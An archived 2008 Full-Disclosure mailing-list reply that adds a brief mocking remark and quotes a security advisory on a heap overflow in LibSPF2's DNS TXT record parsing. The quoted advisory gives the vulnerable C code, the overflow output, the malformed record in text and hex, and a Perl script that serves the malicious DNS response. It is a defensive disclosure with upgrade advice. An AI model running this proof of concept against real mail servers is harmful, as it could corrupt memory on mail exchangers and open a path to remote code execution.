[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20081023005736.BF1D71A003A@smtp.hushmail.com>
Date: Thu, 23 Oct 2008 11:57:36 +1100
From: "destiny" <destiny@...h.ai>
To: full-disclosure@...ts.grok.org.uk, dan.kaminsky@...ctive.com
Subject: Re: DNS TXT Record Parsing Bug in LibSPF2z
hello mr kamnski
what size hotpants
do yu wear?
this is a privacy implecaton
!
On Wed, 22 Oct 2008 06:14:51 +1100 Dan Kaminsky
<Dan.Kaminsky@...ctive.com> wrote:
>Advisory: DNS TXT Record Parsing Bug in LibSPF2
>Author: Dan Kaminsky, Director of Penetration Testing, IOActive
>Inc,
>Dan.Kaminsky@...ctive.com (PGP Key In Appendix)
>Abstract:
>
>A relatively common bug parsing TXT records delivered over DNS,
>dating
>at least back to 2002 in Sendmail 8.2.0 and almost certainly much
>earlier, has been found in LibSPF2, a library frequently used to
>retrieve SPF (Sender Policy Framework) records and apply policy
>according to those records. This implementation flaw allows for
>relatively flexible memory corruption, and should thus be treated
>as a
>path to anonymous remote code execution. Of particular note is
>that the
>remote code execution would occur on servers specifically designed
>to
>receive E-Mail from the Internet, and that these systems may in
>fact be
>high volume mail exchangers. This creates privacy implications.
>It is
>also the case that a corrupted email server is a useful “jumping
>off”
>point for attackers to corrupt desktop machines, since attachments
>can
>be corrupted with malware while the containing message stays
>intact. So
>there are internal security implications as well, above and beyond
>corruption of the mail server on the DMZ.
>
>Recommendations:
>
>If you are a major mail exchange, you should determine whether the
>SPAM
>filters that protect your systems use LibSPF2.
>
>If you are a vendor of anti-SPAM devices, or the author of an
>operating
>system with components that may use LibSPF2, you should determine
>whether LibSPF2 is used in any of your configurations and migrate
>to
>LibSPF 1.2.8, found at:
>
> http://www.libspf2.org/index.html
>
>If your product has a dependency on DNS TXT records, we recommend
>you
>test it for the parsing bug that LibSPF2 was vulnerable to, since
>this
>has been a problem for some time. Name server implementations may
>want
>to consider adding filtering themselves, though record validation
>is not
>normally their job.
>
>Details: DNS TXT records have long been a little tricky to parse,
>due
>to them containing two length fields. First, there is the length
>field
>of the record as a whole. Then, there is a sublength field, from
>0 to
>255, that describes the length of a particular character string
>inside
>the larger record. There is nothing that links the two values,
>and DNS
>servers to not themselves enforce sanity checks here. As such,
>there is
>always a risk that when receiving a DNS TXT record, the outer
>record
>length will be the amount allocated, but the inner length will be
>copied.
>
>In the past, we’ve seen this particular bug all over the place,
>including in Sendmail. This is just the same bug, showing up in
>LibSPF2
>1.2.5:
>
>Spf_dns_resolv.c#SPF_dns_resolv_lookup():
>
> case ns_t_txt:
> if ( rdlen > 1 )
> {
> u_char *src, *dst;
> size_t len;
>
> if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=
>SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt
> return spfrr;
>
> dst = spfrr->rr[cnt]->txt;
> len = 0;
> src = (u_char *)rdata;
> while ( rdlen > 0 )
> {
> len = *src; // get a second length from the attacker
>controlled datastream -- some value from 0 to 255, unbound to rdlen
> src++;
> memcpy( dst, src, len ); // copy that second length
>to
>rdlen byte buffer.
> dst += len;
> src += len;
> rdlen -= len + 1;
> }
> *dst = '\0';
>
> For validation purposes, a build of LibSPF2 was instrumented, to
>validate the heap overflow:
>
>$ ./spfquery -ip=1.2.3.4 -sender=foo@....toorrr.com
>buffer 8107080 has size 16
>buffer 8107090 has size 16
>buffer 81070a0 has size 16
>writing 255 bytes to a 15 size buffer at 81070a0 // overflow
>buffer 8123030 has size 234
>writing 233 bytes to a 234 size buffer at 8123030
>buffer 81060c0 has size 20
>buffer 81060e0 has size 20
>buffer 8123120 has size 234
>buffer 8106100 has size 31
>StartError
>Context: Failed to query MAIL-FROM
>ErrorCode: (2) Could not find a valid SPF record
>Error: Invalid character in middle of mechanism near 'À
> bar.toorrr'
>Error: Failed to compile SPF record for 'bar.toorrr.com'
>EndError
>(invalid)
>
>The actual record used to spawn this behavior was as follows:
>
>;; HEADER SECTION
>;; id = 63838
>;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 1
>;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
>;; qdcount = 1 ancount = 2 nscount = 0 arcount = 0
>
>;; QUESTION SECTION (1 record)
>;; bar.toorrr.com. IN TXT
>
>;; ANSWER SECTION (2 records)
>bar.toorrr.com. 0 IN TXT "v=spf1 mx +all"
>bar.toorrr.com. 0 IN TXT
>"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>
>;; AUTHORITY SECTION (0 records)
>
>;; ADDITIONAL SECTION (0 records)
>
>Or, in hex:
>
> 00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F
>0123456789ABCDEF
>
>00000000 F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72
>.^...........bar
>00000010 06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01
>.toorrr.com.....
>00000020 C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73
>.............v=s
>00000030 70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00 pf1 mx
>+all.....
>00000040 01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41
>........AAAAAAAA
>00000050 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000060 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000070 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000080 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000090 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>000000A0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>000000B0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>000000C0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>000000D0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>000000E0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>000000F0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000100 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000110 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000120 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
>AAAAAAAAAAAAAAAA
>00000130 41 A
>
>The altered length field, on 0x2C, is what’s causing the overflow.
>Sample code to reproduce the above is attached at the end of this
>paper.
>
>Conclusion:
>
>There’s nothing particularly special about this bug – we’ve even
>seen
>this in mail servers before. But it is apparently present on some
>very
>high profile and high traffic systems. SPF is a major part of how
>the
>Internet attempts to filter SPAM, and while it’s not perfect, it is
>pretty helpful. LibSPF2 is one of the more common libraries out
>there
>for handling SPF traffic, with billions of messages a day being
>protected by it.
>
>Unfortunately, that also means billions of messages a day are at
>risk –
>the nature of this flaw is such that an attacker can force
>arbitrary (or
>at least ASCII encoded, though no nameservers have been found that
>enforce ASCII) bytes to be copied into a buffer too small to
>contain
>them. This is a straightforward anonymous remote code execution
>find,
>made interesting specifically by where the bug happens to be.
>
>
>Appendix: Simple code to reproduce heap overflow.
>
>
># cat spfattack.pl
>#!/usr/bin/perl
>#
>
>use Net::DNS;
>use IO::Socket::INET;
>use Data::HexDump;
>
>
>my $qclass = "IN";
>my $ttl = 10;
>
>while (1){
> my $sock = IO::Socket::INET->new(
> LocalPort => '53',
> Proto => 'udp');
> $sock->recv($newmsg, 2048);
> my $req = Net::DNS::Packet->new(\$newmsg);
> $req->print;
> my $id = $req->header->id();
> my @q = $req->question;
> my $qname = $q[0]->qname;
> my $qtype = $q[0]->qtype;
> if($qtype eq "PTR") { next; }
> $answer = Net::DNS::Packet->new($qname, $qtype);
> if($qtype eq "TXT"){
> $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass
>$qtype
>'v=spf1 mx +all'"));
> $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass
>$qtype
>'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"));
> }
> if($qtype eq "MX"){}
>
> $answer->header->id($id);
> $answer->header->aa(1);
> $answer->header->qr(1);
> $answer->print;
> my $port = $sock->peerport;
> my $peer = inet_ntoa($sock->peeraddr);
>
> $sock->shutdown(2);
> $sock = "";
>
> my $tempsock = IO::Socket::INET->new(
> LocalPort=>'53',
> PeerAddr=>"$peer",
> PeerPort=>$port,
> Proto=>'udp');
>
>
> my $newans;
>
> $newans = $answer->data;
> if($qtype eq "TXT"){
> substr($newans, 44, 1, pack("c",0xff));
> print HexDump $newans;
> }
> $tempsock->send($newans);
>
>
> #my $packet = Net::DNS::Packet->new(\$newmsg);
>}
>
>PGP Key for dan.kaminsky@...ctive.com:
>
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: GnuPG v1.4.5 (MingW32)
>
>mQGiBET4quERBAChQCcg/KoKkwNDpVoCfKpIFc6d86Xs+9e5yHeFg6bK8ElRUPFp
>CEgjCSu9+LB3xEJFZhw807BbXaytNqa/H6oSvuqThI053dLIjy7zl0o0yNyT6ZTQ
>KvSStycDurEthqXH0grxDVerpDiTz/B9uo3pu9HmV4SDGwpnp3klsg96zwCg+tZa
>JFZ0NeaUYBLQvRJgDBGSonUD/2GwXY+KOc7oKP/lvrdXgkSSuS4+aC9Ce0UGuX/f
>//d2pK7Z/PKPCCipMYTIk8/fIDEd8uZ8ZNdtQTe5BCtwJYJAfeP/JHIAmBlq2jvL
>k83GzaaGPvt4fyTR8uvX0t5g4AhHYL1LdyuCyTndQecewKArKVyHGYbLmPaf1fh3
>dNGAA/0Qu6BrRf65h0jzk5P9b49kJ/+xliOCq4u8oFbVJPM3QAsAc1W8D2a+rxjc
>VFgheTqf56XQk4wD9mE1r19PntwVH7FuOu71mwk6Mboz/7IGBQsh9B+pDkFPfJD8
>y2Qcueudnl7Tt8ijbQF2EBUeu1LPfWATj9b7NfMyG4ZhOzAtzrQoRGFuIEthbWlu
>c2t5IDxEYW4uS2FtaW5za3lAaW9hY3RpdmUuY29tPohgBBMRAgAgBQJE+KrhAhsj
>BgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQX74rnUOpgcD/7gCdEUsXwl+8QdGt
>tuXk/cKiayQ+ZeIAn3CaH6tN3DhJHQLkPBpLVEW7sKgCiEYEEBECAAYFAkfn9EoA
>CgkQ00k+8NKXq47fXgCff7GLg5KiT3VzjYRZ08vRfItoqE0An2C97W+GW9b61/Oa
>mP1wh492B2kAuQINBET4qwwQCACx6XPvnq5Uhb0howb4AfugArGBzdaejE7DZ4PC
>L+T9oYiW5ZJsSiB5q0X6AkoUCLHbCc1s1zbyuwFsjVSgkYTXX+zU1rJ8mI+HxDch
>NYQy5x8t1vpCeIDBzo4ylHpgpTKoINGhlc4KJv+ixZAbEB+OcTThN3mBgbF1oVdk
>aw8qrYcEl4LjL00qjMmpT5BIo7r/O7HrShRGQBm4gKBG7ufjWqZ8u/+nbty2vwAo
>eJ+v3Apduv9CRaDcouenmIHlx6AC321vhsyLRQrZ0lNKXC2DkYWel3+UTWIQfyws
>zj57Xi8XNHcjcBWd5SOpuBJQ5ZHn68H3ACpGZ86/+LqlQNlPAAMFB/0eOZYgz8LN
>DkgsFQR0Hg4htWWPXAg8QPJs+wXrcP1hLL3z3ljUPPKHUDD+pAh7AR8MH2iGsD0J
>f1ArP7vZiXJCZzPOTwtOZZccpnapckpJA57cy7aEX5y3VESrYCgbtL7pS9ZQZP9Q
>DKsBJ6WqBcxjHljRwlfVnHu+H/ogJEN2EngM04D4ePck8eeCZfYftM2mlpfDAeiD
>UtSfS+I2Vdg7//g4XDV/PCfA8s9U5oQ2Q+S/8di44c1iIX7w2rhYEHh+u3hqOQeD
>eHj7expH6gfgYE77uBnY6342j4PJdF3fDgndoQ31lPORbgafUy11VzNQJ1V8rft0
>gXkz+UhvgewBiEkEGBECAAkFAkT4qwwCGwwACgkQX74rnUOpgcD4IwCfWvJwxRu6
>5auog7Ke5X1f1z1Od3kAnRUI5tjRjUR3i3MI5g9V1L0ZbCVn
>=N3MT
>-----END PGP PUBLIC KEY BLOCK-----
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
--
Is your identity at risk? Click here for reliable identity theft protection.
http://tagline.hushmail.com/fc/Ioyw6h4dPo703mcxLFnjWhTqmadxz5nhiK8TZXiFeN5GcyqEkZBIwQ/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists